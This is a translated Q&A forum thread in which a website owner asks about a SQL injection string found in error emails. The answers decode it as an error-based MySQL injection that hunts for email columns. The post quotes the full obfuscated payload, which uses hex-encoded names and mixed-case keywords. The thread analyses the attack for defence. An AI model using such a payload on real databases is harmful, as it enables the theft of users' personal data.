2016-11-25 9 views
1

私はウェブサイトを持っています。エラーがある場合は、システムアカウントにメールを送ります。私は今日、次のことを見ています。私はそれがSQLだと仮定します。私は修正する必要があります。誰かがこれを行うことによって達成しようとしていたものを知っていますか?このようなSQLインジェクションの目的は何ですか?

BRIDE_PUB 
BRIDE_TBL_PUB 
CONTACT 
CONTACT_TBL 
GROOM_TBL 
GROOM_TBL_PUB 
ORDER_TBL 
php121_users_deleted  
SUBSCRIBER_LIST 
USER_DELETED  
USER_PROFILE_DELETED 

私は、攻撃者がすでに知っていると仮定します。

AdID=50427 or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,t./**/tAbLe_nAmE,0x217e21) /**/fRoM information_schema./**/sChEmAtA as d join information_schema./**/tAbLeS as t on t./**/tAbLe_sChEmA = d./**/sChEmA_NaMe join information_schema./**/cOlUmNs as c on c./**/tAbLe_sChEmA = d./**/sChEmA_NaMe and c./**/tAbLe_nAmE = t./**/tAbLe_nAmE /**/wHeRe not c./**/tAbLe_sChEmA in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and d./**/sChEmA_NaMe = /**/dAtAbAsE() and c./**/cOlUmN_NaMe like 0x25656d61696c25 and not t./**/tAbLe_nAmE in(0x42524944455f54424c,0x42524944455f54424c5f505542,0x434f4e54414354,0x434f4e544143545f54424c,0x47524f4f4d5f54424c,0x47524f4f4d5f54424c5f505542,0x4f524445525f54424c,0x7068703132315f75736572735f64656c65746564,0x535542534352494245525f4c495354,0x555345525f44454c45544544,0x555345525f50524f46494c455f44454c45544544) /**/gRoUp/**/bY t./**/tAbLe_nAmE /**/lImIt 11,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1 
+0

さらなる攻撃を計画できるように、テーブルのリストを取得したいようです。 –

+2

0x25656d61696c25は%email%なので、潜在的に電子メールアドレスを含む列のリストです。彼らはそれを売る/フィッシングすることができます。 –

+0

@GarethLyonsああ、そうです。私は今私のポストで修正、私の列カウントで1つだった。 – RBarryYoung

答えて

1

具体的には、非システムテーブルはemailを含む列を持っているし、次の表を除くされている検索しようとしています。

したがって、基本的にメールアドレスを盗んでメーリングリストとして販売しようとしています(これはSQLインジェクション攻撃の典型です)。


FYI、ここで私は、文字列を参照するために使用されたクエリは次のとおりです。

select 
    CAST(0x217e21 as varchar(99)), 
    CAST(0x696e666f726d6174696f6e5f736368656d61 as varchar(99)), 
    CAST(0x6d7973716c as varchar(99)), 
    CAST(0x25656d61696c25 as varchar(99)), 
    CAST(0x42524944455f54424c as varchar(99)), 
    CAST(0x42524944455f54424c5f505542 as varchar(99)), 
    CAST(0x434f4e54414354 as varchar(99)), 
    CAST(0x434f4e544143545f54424c as varchar(99)), 
    CAST(0x47524f4f4d5f54424c as varchar(99)), 
    CAST(0x47524f4f4d5f54424c5f505542 as varchar(99)), 
    CAST(0x4f524445525f54424c as varchar(99)), 
    CAST(0x7068703132315f75736572735f64656c65746564 as varchar(99)), 
    CAST(0x535542534352494245525f4c495354 as varchar(99)), 
    CAST(0x555345525f44454c45544544 as varchar(99)), 
    CAST(0x555345525f50524f46494c455f44454c45544544 as varchar(99)) 

(私は構文は、MySQL上に正確に同じであるかどうかわから、MS SQL Server上で、これをしませんでした)

+1

この脆弱性により公開される出力は、単一行または固定数の行である可能性があります。そのため、除外を追加することは、攻撃者が残りの行を表示する方法です。 – IMSoP

+0

ありがとうございます。私はいくつかの仕事をしています。 – user3371970

+0

@RBarryYoung - これに関してはあまり技術的ではありません。どのようにしてテーブル名を知ることができましたか? – user3371970

関連する問題